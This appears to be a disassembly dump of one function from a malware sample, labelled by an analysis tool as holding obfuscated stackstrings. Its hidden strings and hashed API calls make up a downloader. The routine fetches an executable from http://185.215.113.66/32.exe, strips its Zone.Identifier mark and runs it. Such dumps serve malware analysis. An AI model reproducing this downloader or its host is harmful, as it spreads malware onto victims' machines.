Function at 0x405000
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x978
call fcn.00405cc0
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 0
jne 0x405022
jmp 0x40575f
push 0
push 1
push 0x9b102e2d
mov eax, dword [ebp - 0x23c]
push eax
call fcn.00405a70
add esp, 0x10
mov dword [ebp - 0x73c], eax
cmp dword [ebp - 0x73c], 0
jne 0x40504e
jmp 0x40575f
mov ecx, dword [ebp - 0x73c]
push ecx
push 1
push 0x526e0dcd
mov edx, dword [ebp - 0x23c]
push edx
call fcn.00405a70
add esp, 0x10
mov dword [ebp - 0x6a8], eax
cmp dword [ebp - 0x6a8], 0
jne 0x40507f
jmp 0x40575f
mov eax, dword [ebp - 0x73c]
push eax
push 1
push 0xc4b4a94d
mov ecx, dword [ebp - 0x23c]
push ecx
call fcn.00405a70
add esp, 0x10
mov dword [ebp - 0x76c], eax
cmp dword [ebp - 0x76c], 0
jne 0x4050b0
jmp 0x40575f
mov edx, 0x25
mov word [ebp - 0x768], dx
mov eax, 0x61
mov word [ebp - 0x766], ax
mov ecx, 0x70
mov word [ebp - 0x764], cx
mov edx, 0x70
mov word [ebp - 0x762], dx
mov eax, 0x64
mov word [ebp - 0x760], ax
mov ecx, 0x61
mov word [ebp - 0x75e], cx
mov edx, 0x74
mov word [ebp - 0x75c], dx
mov eax, 0x61
mov word [ebp - 0x75a], ax
mov ecx, 0x25
mov word [ebp - 0x758], cx
mov edx, 0x5c
mov word [ebp - 0x756], dx
mov eax, 0x77
mov word [ebp - 0x754], ax
mov ecx, 0x69
mov word [ebp - 0x752], cx
mov edx, 0x6e
mov word [ebp - 0x750], dx
mov eax, 0x64
mov word [ebp - 0x74e], ax
mov ecx, 0x72
mov word [ebp - 0x74c], cx
mov edx, 0x78
mov word [ebp - 0x74a], dx
mov eax, 0x2e
mov word [ebp - 0x748], ax
mov ecx, 0x74
mov word [ebp - 0x746], cx
mov edx, 0x78
mov word [ebp - 0x744], dx
mov eax, 0x74
mov word [ebp - 0x742], ax
xor ecx, ecx
mov word [ebp - 0x740], cx
push 0x104
lea edx, [ebp - 0x978]
push edx
lea eax, [ebp - 0x768]
push eax
call dword [ebp - 0x6a8]
lea ecx, [ebp - 0x978]
push ecx
call dword [ebp - 0x76c]
cmp eax, 0xffffffff
je 0x4051d9
jmp 0x40575f
mov byte [ebp - 0x238], 0x75
mov byte [ebp - 0x237], 0x72
mov byte [ebp - 0x236], 0x6c
mov byte [ebp - 0x235], 0x6d
mov byte [ebp - 0x234], 0x6f
mov byte [ebp - 0x233], 0x6e
mov byte [ebp - 0x232], 0x2e
mov byte [ebp - 0x231], 0x64
mov byte [ebp - 0x230], 0x6c
mov byte [ebp - 0x22f], 0x6c
mov byte [ebp - 0x22e], 0
push 0
push 0
lea edx, [ebp - 0x238]
push edx
call dword [ebp - 0x73c]
mov dword [ebp - 0x664], eax
cmp dword [ebp - 0x664], 0
jne 0x40524b
jmp 0x40575f
mov eax, dword [ebp - 0x73c]
push eax
push 1
push 0x7a3a310
mov ecx, dword [ebp - 0x23c]
push ecx
call fcn.00405a70
add esp, 0x10
mov dword [ebp - 0x6e8], eax
cmp dword [ebp - 0x6e8], 0
jne 0x40527c
jmp 0x40575f
lea edx, [ebp - 0x650]
push edx
push 0x104
call dword [ebp - 0x6e8]
test eax, eax
jne 0x405297
jmp 0x40575f
mov eax, dword [ebp - 0x73c]
push eax
push 1
push 0x165d9659
mov ecx, dword [ebp - 0x23c]
push ecx
call fcn.00405a70
add esp, 0x10
mov dword [ebp - 0x6ec], eax
cmp dword [ebp - 0x6ec], 0
jne 0x4052c8
jmp 0x40575f
lea edx, [ebp - 0x448]
push edx
push 0
push 0
lea eax, [ebp - 0x650]
push eax
call dword [ebp - 0x6ec]
test eax, eax
jne 0x4052e9
jmp 0x40575f
push 0x2e
lea ecx, [ebp - 0x448]
push ecx
call fcn.004059d0
add esp, 8
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 0
jne 0x40530e
jmp 0x40575f
mov edx, 0x2e
mov word [ebp - 0x65c], dx
mov eax, 0x65
mov word [ebp - 0x65a], ax
mov ecx, 0x78
mov word [ebp - 0x658], cx
mov edx, 0x65
mov word [ebp - 0x656], dx
xor eax, eax
mov word [ebp - 0x654], ax
push 0xa
lea ecx, [ebp - 0x65c]
push ecx
mov edx, dword [ebp - 0x22c]
push edx
call fcn.00405960
add esp, 0xc
mov eax, dword [ebp - 0x73c]
push eax
push 1
push 0xeae447bb
mov ecx, dword [ebp - 0x664]
push ecx
call fcn.00405a70
add esp, 0x10
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0
jne 0x405390
jmp 0x40575f
mov edx, 0x68
mov word [ebp - 0x6a4], dx
mov eax, 0x74
mov word [ebp - 0x6a2], ax
mov ecx, 0x74
mov word [ebp - 0x6a0], cx
mov edx, 0x70
mov word [ebp - 0x69e], dx
mov eax, 0x3a
mov word [ebp - 0x69c], ax
mov ecx, 0x2f
mov word [ebp - 0x69a], cx
mov edx, 0x2f
mov word [ebp - 0x698], dx
mov eax, 0x31
mov word [ebp - 0x696], ax
mov ecx, 0x38
mov word [ebp - 0x694], cx
mov edx, 0x35
mov word [ebp - 0x692], dx
mov eax, 0x2e
mov word [ebp - 0x690], ax
mov ecx, 0x32
mov word [ebp - 0x68e], cx
mov edx, 0x31
mov word [ebp - 0x68c], dx
mov eax, 0x35
mov word [ebp - 0x68a], ax
mov ecx, 0x2e
mov word [ebp - 0x688], cx
mov edx, 0x31
mov word [ebp - 0x686], dx
mov eax, 0x31
mov word [ebp - 0x684], ax
mov ecx, 0x33
mov word [ebp - 0x682], cx
mov edx, 0x2e
mov word [ebp - 0x680], dx
mov eax, 0x36
mov word [ebp - 0x67e], ax
mov ecx, 0x36
mov word [ebp - 0x67c], cx
mov edx, 0x2f
mov word [ebp - 0x67a], dx
mov eax, 0x33
mov word [ebp - 0x678], ax
mov ecx, 0x32
mov word [ebp - 0x676], cx
mov edx, 0x2e
mov word [ebp - 0x674], dx
mov eax, 0x65
mov word [ebp - 0x672], ax
mov ecx, 0x78
mov word [ebp - 0x670], cx
mov edx, 0x65
mov word [ebp - 0x66e], dx
xor eax, eax
mov word [ebp - 0x66c], ax
push 0
push 0
lea ecx, [ebp - 0x448]
push ecx
lea edx, [ebp - 0x6a4]
push edx
push 0
call dword [ebp - 0x228]
test eax, eax
je 0x40550c
jmp 0x40575f
mov byte [ebp - 0x224], 0x75
mov byte [ebp - 0x223], 0x73
mov byte [ebp - 0x222], 0x65
mov byte [ebp - 0x221], 0x72
mov byte [ebp - 0x220], 0x33
mov byte [ebp - 0x21f], 0x32
mov byte [ebp - 0x21e], 0x2e
mov byte [ebp - 0x21d], 0x64
mov byte [ebp - 0x21c], 0x6c
mov byte [ebp - 0x21b], 0x6c
mov byte [ebp - 0x21a], 0
push 0
push 0
lea eax, [ebp - 0x224]
push eax
call dword [ebp - 0x73c]
mov dword [ebp - 0x660], eax
cmp dword [ebp - 0x660], 0
jne 0x40557e
jmp 0x40575f
mov ecx, dword [ebp - 0x73c]
push ecx
push 1
push 0x201d0dd6
mov edx, dword [ebp - 0x660]
push edx
call fcn.00405a70
add esp, 0x10
mov dword [ebp - 0x668], eax
cmp dword [ebp - 0x668], 0
jne 0x4055af
jmp 0x40575f
mov eax, 0x25
mov word [ebp - 0x6e0], ax
mov ecx, 0x73
mov word [ebp - 0x6de], cx
mov edx, 0x3a
mov word [ebp - 0x6dc], dx
mov eax, 0x5a
mov word [ebp - 0x6da], ax
mov ecx, 0x6f
mov word [ebp - 0x6d8], cx
mov edx, 0x6e
mov word [ebp - 0x6d6], dx
mov eax, 0x65
mov word [ebp - 0x6d4], ax
mov ecx, 0x2e
mov word [ebp - 0x6d2], cx
mov edx, 0x49
mov word [ebp - 0x6d0], dx
mov eax, 0x64
mov word [ebp - 0x6ce], ax
mov ecx, 0x65
mov word [ebp - 0x6cc], cx
mov edx, 0x6e
mov word [ebp - 0x6ca], dx
mov eax, 0x74
mov word [ebp - 0x6c8], ax
mov ecx, 0x69
mov word [ebp - 0x6c6], cx
mov edx, 0x66
mov word [ebp - 0x6c4], dx
mov eax, 0x69
mov word [ebp - 0x6c2], ax
mov ecx, 0x65
mov word [ebp - 0x6c0], cx
mov edx, 0x72
mov word [ebp - 0x6be], dx
xor eax, eax
mov word [ebp - 0x6bc], ax
lea ecx, [ebp - 0x448]
push ecx
lea edx, [ebp - 0x6e0]
push edx
lea eax, [ebp - 0x218]
push eax
call dword [ebp - 0x668]
add esp, 0xc
mov ecx, dword [ebp - 0x73c]
push ecx
push 1
push 0x654fde9a
mov edx, dword [ebp - 0x23c]
push edx
call fcn.00405a70
add esp, 0x10
mov dword [ebp - 0x6e4], eax
cmp dword [ebp - 0x6e4], 0
jne 0x4056df
jmp 0x40575f
lea eax, [ebp - 0x218]
push eax
call dword [ebp - 0x6e4]
mov ecx, dword [ebp - 0x73c]
push ecx
push 1
push 0x5c856c47
mov edx, dword [ebp - 0x23c]
push edx
call fcn.00405a70
add esp, 0x10
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x405714
jmp 0x40575f
push 0x44
push 0
lea eax, [ebp - 0x738]
push eax
call fcn.00405790
add esp, 0xc
mov dword [ebp - 0x738], 0x44
lea ecx, [ebp - 0x6b8]
push ecx
lea edx, [ebp - 0x738]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x448]
push eax
call dword [ebp - 0x10]
xor ecx, ecx
jne 0x405009
mov dword [ebp - 8], 0x1870
call fcn.00405cb0
mov edx, dword [eax + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 8]
add edx, dword [ecx + 0x18]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
call dword [ebp - 4]
mov esp, ebp
pop ebp
ret